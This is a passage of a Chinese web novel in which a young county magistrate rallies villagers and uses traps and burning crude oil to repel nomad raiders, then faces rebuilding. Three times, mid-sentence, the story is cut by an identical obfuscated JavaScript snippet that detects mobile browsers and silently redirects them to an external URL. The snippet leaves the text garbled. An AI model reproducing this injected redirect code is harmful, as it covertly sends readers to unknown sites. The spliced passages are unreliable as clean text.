在王绰看来,永宁县的城防等同于无,县衙官员的应敌能力更是少得可怜,跟他以前打过的任何一座城都没法比。若以前打天下也是这样的难度,也就不必死那么多的战士了。 但永宁县的一切也在情理之中,永宁县的人或许不愿意承认,但王绰却看得清楚,朝廷早就放弃了这里,幽州也不愿意管,这地方等同于梁国跟东胡的缓冲地带。苦一苦永宁县百姓,换来两国明面上的和平,尤其是新君上位掌权期间的和平,很值。说得更残忍一点,这么区区两千多户的边陲小县,朝廷从来也没当过一回事,于大局之中不过一粒灰尘而已。 这是一座永无宁日、没有前途可言的县城。王绰好奇的是,这位新任知州会如何抉择。 裴杼坐在门槛上,有一下没一下地揪着头发,他这脑子平日里还算机灵,怎么一到关键时候就卡壳?跟一团浆糊似的。埋头思想了许久,裴杼忽然后知后觉地记起来,系统发布的扶贫任务里,第一项好像就是城防! 他赶紧点开面板,确实是城防,达成“固若金汤”成就之后,即可抽奖! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050685|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固若金汤,貌似挺难的。奖励内容也未知,但是裴杼直觉能化解此番危机,毕竟系统不会无缘无故布置任务。就算不行,那他也准备死马当作活马医。 裴杼一拍大腿,豁然开朗:“就这么定了!” 魏平被他吓了一跳:“定什么了?” “利用仅有的物资先设城防,等城防稳固之后再将城外的百姓都接进来!一定要快,明天上午之前完成城防布置!” 这事儿勾起了魏平那些不愿意回首的经历,他没有任何动作,只是后怕地问:“若是胡人再次被激怒,集结火力攻城呢?在城外抢些粮食只是小摩擦,一旦攻城,那就严重了,兴许会死伤无数。一旦城防破了,最后波及到幽州也是极有可能的。” 裴杼掸了掸衣裳,信心满满地起身:“胡人没有那么可怕。” 他们拿的只是刀,又不是木仓,拿着木仓和炮的他们都打赢过不止一国,更不用说拿着刀的了。 “真打起来,我去前面当先锋,我就不信了,以多打少还能输。”裴杼觉得这些百姓就是缺个领头人,他要是死不了再杀个人,就能证明胡人不是不可战胜;若是他死了,没准百姓还能被激出点血性呢,怎么想都不亏呢。 魏平的情绪也被裴杼的乐观给带动了起来,开始莫名激动。他兴冲冲地望着对方:“那大人,咱们要怎么布置城防啊?” 裴杼眨了眨眼。 魏平疑惑。 裴杼僵住。是啊,怎么布置城防还真是个好问题,他们又没有刀剑火炮,这果然又涉及到他的知识盲区了,虽然他喜欢蹭课,但是还没蹭过这么抽象的课。 “胡人乘马而来,先解决马就行。可在必经路上设陷马坑,安置拒马木枪,要路、水中设铁菱……罢了,永宁县缺少铁矿,设些带刺的藤条吧,效果是一样的。” 还在尴尬中的两个人忽然听到有人出谋划策,惊喜地望过来。 “你醒了?”裴杼没想到会是那位对他爱答不理的中年男子,他起身之后看上去更加弱不禁风了,脸色也奇差,裴杼都怕他说着说着忽然倒下去。 王绰冲着裴杼点了点头,继续道:“若有灰麸也可以备上,迎风时于城楼上抛掷以眯敌人目。如今没有刀剑,凡是长物皆可以用来退敌,百姓家中的农具也好使。” 裴杼二人眼前一亮,有个懂行的就好办多了。 说干就干,裴杼立马让魏平召集所有用得上的人手,又叫来一批木匠制作简易的城防设备。做这些自然是要钱的,裴杼没钱,但是县衙的账上还剩了不少。裴杼大手一挥,全给用上了。 生死存亡的关头,不用留着干嘛? 百姓们虽然不知道这是要作甚,但既然是县令吩咐的,直接做就行了,县令他们替他们保住口粮的恩情他们可还记着呢。 这边热火朝天,那头郑兴成听闻自己好不容易攒下的家底被裴杼一口气败了个干净,气得一佛升天,二佛出世:“别拦着我,我现在就去弄死他!” 张如胜抱着他们郑大人的肚子,任凭对方张牙舞爪也没撼动他分毫。张如胜慢悠悠地劝:“大人,您不一定打得过他,裴大人挺高的哈,比你高半个头呢。” 郑兴成运了运气,这个说话的他也想一并弄死! 不成,他不管裴杼身边有没有贵人,等胡人来了就趁乱弄死他,否则自己不仅调不走,还要被他害死在永宁县。郑应成根本不抱任何希望能击退胡人,那可是连幽州的官兵都束手无策的存在,他们凭什么能打赢?做梦呢不是。 裴杼本以为第一个任务没那么容易完成,他都做好准备彻夜决战了,不想刚将外头一圈的城防弄好,耳边忽然响起“叮”的一声,第一个“固若金汤”成就就这么随随便便完成了。 裴杼的系统背包里面多了一个奖励的小匣子,打开之后,一张绘制着永宁县自然资源分布的地形图落在他手上。 这东西……能制敌? 裴杼飞快扫过,发现不过是一些矿产罢了,完全用不上。 不对,等等—— 4. 动员 永宁县金矿银矿少得可怜,但总归还是有的,只是藏得比较深而已,若要用钱也还是能掏出一笔。但是这不是紧要的,真正让裴杼如获至宝的是另一样。 石脂水。 这不就是石油吗?裴杼蹭课的时候听历史学院的老师提过一嘴,古书《酉阳杂俎》中就有关于石油的详细记载——“高奴县石脂水,水腻,浮上如漆,采以膏车及燃灯极明。” 但在这个年代,石油开采率极低,主要开始依赖于自然溢出。若是永宁县的石油也是溢出的那还要好取一点,若要深埋于地下,可就难了。 事不宜迟,裴杼立马叫来魏平,命他带人去燕山附近亲自查看。 这边的动作也不能停,裴杼手头实在是无人可用,郑兴成那帮人摆明了不愿意帮忙,即便让他们过来还得担心他们会不会从中作梗,这些人用不得,裴杼思来想去,只好先让王绰帮忙盯着。 能用的人太少了,等到这回击退了胡人,定然要好好发展一下自己的人手。 他们走得匆忙,郑兴成也听了一耳朵,转头就跟张如胜幸灾乐祸起来:“跑得这样急,该不会是要临阵脱逃?” “我看也像,把衙门都掏空了也没见着把城防加固成什么样子,弄得都是些木头,能顶什么用?到时候胡人随便弄个云梯就杀上来了,看他要如何收场。” 他们两人作壁上观,自然有他们的底气,真到了紧要关头,他们直接撤回幽州就是了。 裴杼向幽州借兵一事衙门上下都知道,不过也明白这借兵也是远水解不了近渴,不中用。除裴杼外,郑兴成也跟幽州那边的官员通过了气,还告知了这边的实情,尤其说明了裴杼不以大局为重、执意要将同胡人对上。在两国议和的背景之下还敢肆意放任事态恶化,其心可诛。 即便这事儿了结,郑兴成猜测幽州那边也会派人过来问清楚,到时候,裴杼那小子不就惨了吗? 郑兴成一心一意等着裴杼倒霉,而裴杼在看到石油后,简直如获至宝。 “果真是天无绝人之路!”裴杼欢喜地喊了一声,又恢复了往日的自信乐观。 魏平提着灯伸头一瞧,只见山洞中有股黑油汩汩而出。他没见过这玩意儿,只觉得古怪得很。更奇怪的是,此处极为隐蔽,是个人迹罕至的山洞,魏平这种永宁县当地人都没有来过,怎么裴大人反倒很熟悉的样子? 可他们大人顾不上解释,已经先拿过野鸡尾,抄起木桶取油了。 魏平招呼后面的三五人跟上,哪有大人干活他们干看着的道理?只是,这东西众人都买见过,魏平取油时,还伸手湛了点儿拿到鼻下细嗅,刚想尝尝味道,手就被箍住了。 裴杼也是被他吓了一跳:“做什么呢,这东西可不能吃,会死人的。” 魏平赶忙将手放在石头上擦了两下,回头问道:“既不能吃,这东西还有什么用?” 裴杼神秘一笑,卖关子道:“等以后你就知道了。” 一行人手脚极快地取好了数十桶石脂水,裴杼带人先运一批回去,余下人接着采,准备采够一百桶再收手。 等到裴杼领着东西回来后,城门外的忙碌也未停歇。 王绰虽然不爱说话,但也尽心尽责地守着此处。待裴杼回来之后,他才退了下去。 相比于去时的忐忑,回来之后的裴杼简直意气风发。王绰不动声色地瞧了一眼牛车上的木桶,虽然遮得严实,但细微之处还是能看到些蛛丝马迹,见多识广的王绰立马猜到了里面是什么。 他只是奇怪,一个新任县令怎么会知道何处有石脂水。 好奇归好奇,但是王绰仍一句话都没有问。若不是裴杼听过他开口,几乎要以为他是个哑巴了。 有了石脂水就有了底气,裴杼转头就叫来人散布消息。 上颍村村民正好都在,裴杼便准备让他们做信使,去城外所有的庄户里头传令,命他们即刻将粮食、牲畜、农具等搬到城内,最早明日、最迟后日胡人便要南下,村民若是愿意,可以来城中避难,躲上几日等到胡人回程便能离开;若是不愿,也得先找个安身之处藏好。 上颍村的那位罗村正也在,听到这消息险些没站稳,他们对胡人的恐惧那是已经深入骨髓了。从前胡人南下时,他们压根收不到半点风向,都是快要杀进村子才知道躲,可那会儿又如何来得及?每每都要死伤好些人。他们的命就那么贱么?怎么回回死的都是他们。 好在这回县令大人仁善,提前告知了他们,还允他们入城避难。 罗村正携附近村民跪了下来:“县令大恩,上颍村等无以为报!” “快起来,什么恩不恩的,好好将城门守好比什么都强。”裴杼赶紧叫他们起身,实在是受不了动不动跪下磕头这一套,总感觉会折寿。 不是村民们膝盖软,而是在此之前,他们从来没有被县衙善待过。如今裴杼替他们着想,无异于是雪中送炭。这份恩情,他们都会牢记于心的。 事不宜迟,罗村正赶忙荐了几个脚程快的小子去传话,剩下的人仍旧留在此处布置城防。既然县令允许他们进城,那这城防就更得上心了。否则城门被破,不仅他们会倒霉,放他们进来的县令大人也得担责。 王绰一直跟着裴杼,裴杼去哪儿他便去哪儿,并非是为了做什么,他如今活着跟死了没有什么两样,心中也无任何执念,连他自己也不知道为何会对这个小县令产生了一丝好奇。 裴杼才将消息捅了出去,便预感有人要来找他的麻烦了。 果不其然,不过片刻,郑兴成便怒气冲冲地带着人过来问罪了。 不过他好歹还知道裴杼才是县衙的老大,到了跟前时,愣是将满面怒容给压下去一半儿,但是语气还是一如既往地生硬,挤着眉头讽刺了一句:“县令大人真是爱民如子啊,这么迫不及待就将消息散布出去,还放城外百姓入城,看来从前的教训是一点儿都未曾放在心上,下官实在是佩服。” 裴杼扬起嘴角:“过奖,过奖。” 郑兴成的拳头更硬了。 他大概也知道,裴杼善于装傻充愣,继续嘲讽没有任何意义。事已至此,他也不能将这些百姓都赶出去,真这么做的话也太难看了,郑兴成是不在乎名声,但是他也不希望人人喊打。 可咽下这口气他又不甘心,于是愤愤地来了一句:“县令大人为了城外百姓奔走,难道就不怕伤了城中百姓的心?” 裴杼一头雾水。 郑兴成冷笑不止:“原本只要紧闭城门,用城外百姓的粮食就可以换来胡人回程,如今胡人没得到粮食,势必要来县城中扫荡。大人啊,城中的百姓何其无辜呢?” 裴杼拉长了脸:“嘁,谬论。” “是否谬论,大人自己一看便知,您既得罪了人,便别想他们来日替你卖命。” 靠那些村民,又能有什么用呢? 郑兴成在裴杼脸上转了一圈,讥讽一笑后便离开了,他等着看裴杼如何人心尽失。 裴杼方才虽然没露出什么,但是心里却还是记住了郑兴成的话,不死心地在城中转了两圈。 结果不出意外地受到了冷待。 方才他出来时,有不少人得知他是新县令还好奇地围观,这会儿他说要放城外百姓进来后,城中人便对他起了些许微妙的敌意。 没有谁愿意为别人承担风险,他们本来可以好好地活着,结果就因为县令要保全那群村民,他们便要直面胡人,谁愿意? 村民们要保,可以去别处躲一躲,为何一定要来城里?他们又何其无辜呢?大人盲目偏向城外的村民,竟将他们置于危险之中,实在不是个好父母官。 裴杼走到了一个小摊子上,拿起一个泥人问道:“这个怎么卖?” 小贩冷淡道:“八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050686|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文。” 裴杼讪讪地放了下去,知道了郑兴成说的确实没错。 裴杼有点伤心,自己好像被排斥了,但他也知道这是人之常情。这些人只是寻常百姓,又没做过恶,只是不想自己落于险境罢了。他们需要的只是一个转机,一场胜利。 不着急,他会让这些人知道,没有任何人是不可战胜的,县衙今日的决定没有错! 他绝对不能被郑应成影响了斗志。 边上的王绰惊异于裴杼的变化,从沮丧颓唐到满怀信念的转变,是否太快了?世上还有这么乐观豁达的人? 傍晚时分,城郊的百姓便陆陆续续拖家带口进了城。大概是知道自己不讨喜,所以只是聚在一处取暖过夜,压根没有惊动旁人。 裴杼看他们实在可怜,强行让人张如胜开了仓,弄了点米粥给他们果腹。 为此,裴杼私下里又被郑兴成等人埋怨了好几声,阴阳怪气地叫裴杼为“圣人”,恶意几乎快要溢出来了,连冷眼旁观的王绰都觉得他们做的有些过。 只是裴杼还是岿然不动。 等到第二日一早,他忽然不声不响弄了一出大戏。裴杼让魏平给他弄了一口棺材,自己抬着棺材,一路浩浩荡荡地去了城门,将城中城外所有百姓的目光都吸引到了一处。 人群迅速聚集到一处。 郑兴成被围观的百姓给挤来挤去,好不恼火,对着城墙上跟棺材站在一处的裴杼咬牙启齿:“他一天天的怎么这么多的戏!” 张如胜踮着脚尖一脸懵,谁在演戏呢他怎么没瞧见? 裴杼抚摸着厚重的棺材,觉得自己真是个天才。古有左公抬棺西征,今有他裴杼抬棺守城! 他站在旗下,对着数千永宁县民众奋力高呼:“诸位,胡人的一千人马即将南下,我身为永宁县县令岂能瞻前顾后,畏缩于后方?胡人也是人,不过是血肉之躯,并非铜墙铁壁。我今日便一马当先守在城门处,亲自斩杀胡人祭旗!胡人若是想攻克城门,得先从我的尸体跟棺材上踏过去!” 这论调,闻所未闻!城下的百姓说不出心里是什么感受,只觉得忽然之间一股澎湃的战意涌上心头。 裴杼深知战前动员的重要性,毫无保留地道:“今日战后,我是生是死无所谓,即便身亡,至少也能用我的死,证明永宁县百姓不是懦夫,证明胡人并非不可战胜,证明汉人不容屈辱!” “诸位需知今日一战,不是为别人而战,而是为了自己、为了家人,为了子孙后代而战,守卫永宁县,守卫一方家园,我辈义不容辞!” 铿锵有力的一番话,听得城外村民群涕泗横流,他们都知道,县令大人这么做都是为了他们啊! 不只是他们,即便原本对裴杼颇有怨言的城中百姓也不免动容,他们见过的父母官中,从未有一个像裴大人一样真的敢抛下生死跟百姓站在一块的,这是何等的决心? 他们的命难道还能有县令的命娇贵?县令大人都挡在前面迎战,他们又有什么好畏死的呢? “说得好,胡人想要进来,也得从我的尸体上跨过去!”底下有人高呼。 随即便有越来越多的人应和:“我也去守,我不怕死,我力气还大。” “我比县令大人胖呢,县令大人可以,我为什么不行?” 一声高过一声,一方城门之下顿时战意凛然。王绰抬头,目不转睛地凝视着城门上的少年县令。 只有郑应成咬碎了牙,这人怎么这么会装相! 不远处,已经越过边境的胡人在几个老地方找了一圈,却愣是没搜到一点粮食家畜,甚至连衣物被褥都没有找到。 可恶,永宁县人这是死光了吗? 他们好不容易来梁国,自然不会空手而归,为首之人大手一挥,气势汹汹地道:“去永宁县县城!” 他就不信了,难道县城还能没有粮食? 5. 战胜 东胡这一支族群原本也不是居住在此,他们是从西边迁移而来,沿袭了祖先的游牧传统。 农耕区靠天吃饭,游牧区也是一样的,若是时节不好,草场不丰,衣食住行就要受到影响,每逢冬季还要面临寒流与大雪的倾袭,所以才总眼馋中原地区温暖优渥的生存领地。 如今他们的大汗跟梁国订立盟约,不好开战,但是这跟他们普通牧民有什么关系呢?他们才管不了那么多,没有粮食依旧南下来抢。 只是这一回格外不同,往城门处走来时,竟然没有看到一个中原人! 胡人已经猜到,梁国肯定是事先得到了消息,正在防备他们,没准前面还有埋伏。 可即便知道这些胡人也没有放在心上,永宁县那些老弱病残能顶个什么用?倘若真敢跟他们打,早就已经动手了,还用得着等到现在? 那就是一群没有血性的懦夫。 为首的胡人还在鼓励同伴:“今日破城之后,咱们专挑城里人去抢,还得多带几个女人回去!” 中原女子值钱,在他们那儿一向很受欢迎。 众人一听这事儿便来了劲,一边嬉笑着说着荤话,一边奋力疾驰。可下一刻,跑在前面的几个骤然失控。 马匹倒地,人也从马背上摔了下来,翻滚数圈之后才勉强停下,就这几圈,险些去掉了半条命。 后面有人没刹住,人仰马翻的意外再次上演,陆陆续续折损了不少人马。等到停下探查之后才发现,这条道上有很多不起眼的藤条。 “这群该死的中原人,净做这些蝇营狗苟的小把戏!” 胡人气急败坏地将这些藤条都给拆了,过会儿确定没有陷阱之后才慢慢前行。但很快他们就发现自己还是放心得太早了,没了藤条,前面又出现了许多陷马坑。 他们因此又多了些伤员,甚至都不敢骑马了,真是好生憋屈。 “前面会不会还有陷阱等着咱们?”有人迟疑起来。 带头的胡人叫宝日金,是他们当地有名的勇士,每年都会南下,对永宁县的情况也最了解:“放心,永宁县没有什么武器,也就只能用这些木头藤条凑数了,不足为惧。” 只是可惜了他们的马。 东胡那边的马虽然没有梁国这样值钱,但也架不住被人这样坑害。本来悠哉悠哉的胡人被这样折腾了一轮,已经怒火中烧了。等到了永宁县城门时,胡人杀意毕现,一声招呼不打就怒吼着过来撞门。 裴杼草草看了一眼后,便将郑应成揪了过来:“不是说只有一千人马么?” 这下面两千都不止了。 郑应成脸色也难看,传过来的消息确实只有一千,但也不排除他们路上集结了更多的胡人。但郑应成不可能觉得错在自己:“人数多少有什么差别?左右都是打不过。” 裴杼都被他这份理直气壮给气笑了。 郑应成眼瞅着城下的胡人都已经掏出弓箭了,立马蹲下身准备急走,可还没踏出半步人就被拎了起来。 裴杼死死揪着郑应成的领口:“今日咱们两个一个也不能退。” 疯了吧?要死他自己去死就好了,凭什么绑着他?郑应成使劲瞪着他。 瞪吧瞪吧,眼珠子瞪出来裴杼也死不松手,永宁县不需要一个嫌水太凉的县丞,百姓都在抵御外敌,官员们凭什么能临阵逃脱? 郑应成还在低声叫嚣着跟裴杼势不两立,裴杼也不怕他,转头就将他丢给魏平。魏平那家伙比他还狠,直接绑住了郑应成。 张如胜在城门下望着他们大人被辖制,急得抓耳挠腮也不敢上去救。他块头大,上去就是个靶子,万一伤着自己就不好了。 百姓们因为胡人来的有些多,正惊慌失措,转头见他们县令大人已经搬起简易的投石车,正往下抛掷石头。 砰得一下,底下有个胡人应声倒地,被砸出了一地血。 裴杼忍住了恶心,继续投石,这时候可不能犯圣母病,对敌人的仁慈就是对自己人的残忍,他绝不能让胡人再往前越半步! 百姓们有时缺的就是一个带头人。县令大人果真如他所说一样带头冲锋,抛下了生死,其他人也就看淡了心中的恐惧。胡人有什么好怕的?照样是人,被石头砸了也是会死的。 当下,越来越多的人爬上城门,主动御敌,胡人的飞箭厉害,倒了一批人,又有另一批立马补上去,他们虽然经验不足,但是拼的就是人数优势。 郑应成眼疾手快地躲了两下飞箭,也不知道他运气为何会这么差,总感觉那些箭像长着眼睛似的一个劲往他这边扎。那本该死的裴杼不仅没伤到,竟然还有百姓主动围在他身边替他挡着!他都没有过这样的待遇! 郑应成酸死了。 永宁县的反击更是让胡人恼羞成怒,那群梁国人不要脸,看到他们往前冲就砸石头,期间还会挥洒草木灰,灰里还沁着一股臭味,风一吹,熏得人眼睛都睁不开,一不留神就会被砸得头破血流。 胡人作战向来都是仗着武力大开大合,哪里使过这种下三滥的招数?当下,外头那些人被彻底激怒,攻势也越发厉害,撞击城门的力道越来越大。 好在城门后面用巨石跟横木挡着,暂时还不会被冲垮。但是这也不是长久之计,持续得重木撞击之下,目测这城门坚持不到两天。 万一发了狂的胡人冲进来,情况可就收不住了。 等到了午后,一批胡人忽然不见了,只剩下几百人仍在同永宁县百姓较劲。 郑应成见状,心中涌出不祥的预感。 “他们肯定是去搬救兵了!” 郑应成也不管三七二十一,直接对着裴杼一通指责,“早让你舍弃粮食牲畜,喂饱他们的肚子便可以让他们离开,你非要同他们起冲突。如今可好了,等到援军一到,这破城门楼能扛得住几天?你听我的,早晚让他们退兵了事。看看这一天伤了多少百姓,战事结束之后谁有钱给他们治病?!” 裴杼听他在这儿叫嚣也觉得聒噪,翻了个白眼:“闭嘴吧你,哪有那么快的援军?” 也不动点脑子想一想,成天就知道长他人志气,灭自己威风。 郑应成都快要急死了,这些人一个个都听不懂人话,还不让他走! 下午一到,永宁县人便都知道这些胡人是回去准备什么了。他们砍了树,做了的云梯,直接推着梯子准备攻城。 来了。 裴杼忽然态度大变,吩咐下去:“先暂停反击。” “干什么?你们想死也别拉着我。”郑应成疯狂挣扎。 魏平不为所动,幽幽地盯着郑应成的后背,思考趁乱将郑应成这贪官弄死的可能性有多大。 优秀的下属应该要主动给上峰排忧解难,永宁县好容易来了一个肯做事、将百姓放在心上的县令,他肯定是要誓死追随裴大人、替大人扫清一下障碍。反正郑应成留着也只会拖大人的后腿,还不如直接解决了他。正好他如今注意力都在别人身上,他只要悄悄的—— 郑应成忽然感觉后背凉凉的,回头发现魏平那死人在盯他,没好气地骂道:“看什么看,狗腿子!” 魏平面无表情地放下了手。 多好的机会啊。 裴杼见他们将云梯都已经搭起来了,提着刀气势汹汹地往上爬,似乎是料定了他们没有反击的招数了,不由得嗤笑一声。就等着他们上来呢。 裴杼一声令下,几个早已守在此处的差役立马打开木桶,将取回来的石脂水瓤泼似地向攻城的胡人头上浇去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050687|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡人脑袋一凉,伸手抹时就觉得脸上油腻腻的一片,再一瞧,手上黑黢黢一片。 这什么玩意儿? 郑应成也有同样的疑惑,他怎么不知道裴杼还准备了这个? 正是现在,裴杼高呼了一句“点火”,差役立马点燃火把向下抛去。油火相遇,火焰瞬间顺着胡人的身体蔓延开,连着云梯也一同被点燃。 莫说胡人,就是守城的百姓也被这威力巨大的火势给惊呆了。火舌肆虐,焦味随着黑烟升腾而上,气味刺鼻。 城楼上的差役却越来越兴奋,泼石脂水的速度越来越快,点的火也越来越凶,城门下几乎成了一片汪洋火海。 烧吧烧吧,烧死这些王八羔子。 让他们掳人妻女,让他们抢人粮食,让他们残害无辜百姓! 攻守之势瞬间逆转,百姓们高声欢呼呐喊。这些胡人们也有今天,果真天理昭昭,报应不爽! 宝日金见状不好,赶忙让同伴去水边灭火,这一灭更是了不得,跳进河水中的胡人身上的火不仅没有灭,反而越烧越旺,不少人直接烧得昏死了过去。 “快撤!”宝日金深知留得青山在,不怕没柴烧的道理,忙下令撤退,不再去管灭不掉火的人。 裴杼见他们跑了,本来觉得该结束了,可一不留神,他们这边守城的差役跟百姓反而冲出去了。 贪生怕死的孙唤跟不敢出头的张如胜也混在里面,红光面脸地跟着队伍冲锋。永宁县上下在这一瞬间达成了共识,本着趁他病要他命的信念,不用裴杼带头就能上阵杀敌了。 有刀的提着刀,没刀的拿着农具跟木棍,一个个不要命地冲了上去。天知道他们想这么痛打胡人已经想了多少年了,老天保佑终于让他们得偿所愿,今日若是不将这些人打死,他们誓不为人! 永宁县这边还只是人数优势,毕竟那些人被烧的面目全非,连马都骑不上,哪里还有一战之力?即便没受伤的终究也不能以一敌十。 裴杼都傻眼了:“永宁县什么时候变得这么武德充沛了?” 围观的王绰默默道:“他们只是压抑得太久了。” 过犹不及,裴杼生怕这些人杀心太重反而中了别人的计,赶忙带人在后面追,只是战况太混乱,永宁县人根本收不住手。 在他们的围剿之下,绝大部分胡人都被留下了,只有几个漏网之鱼跑走了。百姓们依旧十分亢奋,仿佛打了一场了不得的胜仗。 裴杼松了一口气,那几个人短时间想必是不敢犯事儿了。不过这些日子还得警惕一些,免得那些人回了东胡后又集结人马卷土重来。 他直觉那些胡人安分不下来。 好容易消停下来,裴杼骤然感觉身边安静得很,回头一看,发现一直跟着他的魏平不见了。 裴杼吓了一跳,因为是哪个胡人在他眼皮子底下把人给掳走,结果找了一圈才发现魏平正带着人蹲在城门下搜刮尸体。 这些人都被烧得面目全非,可魏平不见半点嫌弃,拨开烧焦的地方,把他们身上值钱的东西都给扒拉了下来,略擦了擦便一样一样地收好。 水壶不错,收着。 钱袋子做工尚可,收着。 腰带上面的珠子扣下来,收着。 断了弦的弓修一修下回还能用,收着…… 死掉的马也宝贝似的让人运回去,衙门粮食也不多,大伙儿连半斤肉都没得吃,能添一点是一点,大人到现在还没吃过荤呢。 马也就罢了,好歹是一口肉,可裴杼看到魏平连一只旧靴子都没放过时,彻底破防了。 永宁县穷的都把人都逼成什么样了?! 他绝对,绝对不要再做穷县令,也不能让手底下的人靠着捡死人的东西过活! 6. 新人 裴杼本欲上前,告诉魏平那些靴子什么的不用捡了,穿了这么久实在埋汰,还没抬脚呢,他就被众人给团团围住了。 “大人您瞧,胡人被咱们赶跑了!” “咱们多厉害啊,不比幽州的守军差!” 欢呼声不绝于耳,甚至有许多老人喜极而泣,他们这辈子都没有像今日这样痛快过。 裴杼会心一笑。 汉人中不乏能征善战之辈,永宁县这些人也不输胡人什么,只是一直以来所有人都告诫他们要谨小慎微、一直压抑胆怯,才会委屈至今。从今往后就再也不会了。 裴杼询问这中间他最为熟悉的罗村正:“诸位是想回村安置还是在城中暂歇两晚,看看情况再定?” 众人彼此看了一眼:“大人,我们还是回去吧。” 他们把口粮跟家当都带出来了,总不能一直在城里堆放着。这两日天气晴好,若是一到下雨,口粮就得发霉了。 都说要回去,裴杼便嘱咐他们务必多加小心,还让差役临时组建一支巡逻兵,这些天日夜在燕山下巡查,一旦发现胡人,即刻告知县衙跟诸村。 各村的村正也争先恐后道:“这事儿也不只是县衙的事情,我们村中也能出男丁,彼此交换着巡逻,还能给大人减轻一些负担。” 要是换做以前的县令跟县衙,他们才不会心疼呢,恨不得他们日日巡逻活活累死,但是换了裴大人坐镇,他们立马就开始心疼起来。 “可不能让裴大人累着,累着裴大人的兵也不行。” “大人以后若有什么事情只管吩咐我们,我们都愿为大人肝脑涂地!” “您就是咱们永宁县的青天大老爷,您的事儿,就是我们大家伙儿的事!” 裴杼被众人你一言我一语的恭维,不禁有些飘飘然了,觉得自己今日的身姿格外的伟岸。怪不得总有人喜欢当官儿呢,原来是这种感觉。 既然大家如此喜欢他这个县令,那他也当为大家解决后顾之忧。待城楼处勉强收拾妥当之后,裴杼便兴致勃勃地亲自驾着牛车,护送众人回村。 郑应成见裴杼坐在前头,冷笑:“你会驾车?” 魏平无脑护主:“县令大人无所不会!” 郑应成:“……” 关键是这吹捧还受到了无数应和,郑应成觉得自己就不应该开口。 县衙本没有这么多的牛车,许多都是城中稍富的人家出借的。永宁县也没有真正的富人,家里能有两辆牛车就已经很不错了,若是还能有马车,更是了不得。这些牛车平日里也宝贝,但是如今打赢了仗,百姓对县衙尤其是裴杼格外信任,借车那是豪爽得很。 郑应成不愿意掺合这些,更见不得裴杼风光无限。这场战打起来之后,他就没想过自己这边能赢,可偏偏就还真的赢了,还是以这种出乎人意料的方式。 事后他也曾打听过那黑乎乎的东西是什么,不过魏平这个死人性子轴,如今对裴杼简直死心塌地,郑应成怎么都撬不开他的嘴。但郑应成坚信,自己早晚还是会有一日能将裴杼排挤出去,就算裴杼不走他也肯定能顺利调走,不至于跟裴杼在这大眼瞪小眼。 裴杼坐着掌控牛车,还回头看了郑应成一眼,不是很诚心地问了一句:“郑大人要来吗?” 郑应成冷漠:“不去。” 他不去,裴杼乐得轻松自在,领着魏平王绰就去送人了。 路上,裴杼嘴角的笑容就没放下去过,不是他端不住,而是这些人太会夸了,裴杼被他们奉承的,觉得自己像是个天纵之才。 不是像,他就是! 尤其是巧用石脂水那一桩,百姓们不知道这东西,听裴杼说是在古书上看到相关记载,于是灵机一动想到可以用于对敌,又是夸裴杼博学多才,又是夸他才思敏捷,多亏了他才能赢得此战。 裴杼挠了挠头,自我感觉超好,下巴一抬:“这不算什么,如今赶跑了胡人,往后自然有好日子等着咱们!” 大话刚说完,王绰便抬手指了指跟前的村落:“大人还是先想着修房子吧。” 裴杼茫然转头,看清眼前之景后也沉默了。 原本还满脸笑容的百姓也都露出惊愕之色。 那些胡人越过燕山后,是没有在城外搜到自己想要的,心中愤懑难消,便毁了不少房屋。好些屋顶全都塌了,若不及时修缮,今年冬天只怕是要冻死不少人。 才解决了胡人,如今又来了个难题。 屋顶要修,还有一桩事儿,冬小麦播种在即,可百姓的种子又要从何处来? 永宁县县衙,郑应成听到裴杼又要调人去城外给那些乡野村夫修缮房屋后,连冷笑都笑不出来了:“县衙的差役什么时候连这种破烂事儿都要做了?大人,您让他们出手,可有多余的钱付给他们,总不能让他们白白替那些百姓干活吧,外头的短工还有钱拿呢。” 郑应成倒不是心疼那些差役,他是纯粹想给裴杼找不痛快。 张如胜也跟着开口:“对哦,之前衙门的钱被大人用光了。” 魏平蹙眉:“不是还有另外一笔么?” 裴杼眼睛一亮:“还有?” 他怎么不知道呢? 郑应成面色难看:“那是要还给幽州的钱。” 前几年永宁县遇上旱灾,县衙没钱赈灾,最严重时县衙官吏的俸禄都要发不出来了,于是陈县令就去找幽州借了一笔。这借的钱攒了几年自然是要还的,本来上个月就得还,无奈被县令交接给耽误了。这笔钱若是现在挪出来用,还不知道何年何月才能还上。 郑应成还巴结着幽州的官员,不愿意再惹事端,遂阴测测地盯着裴杼:“别的都好说,这笔钱不能动。” 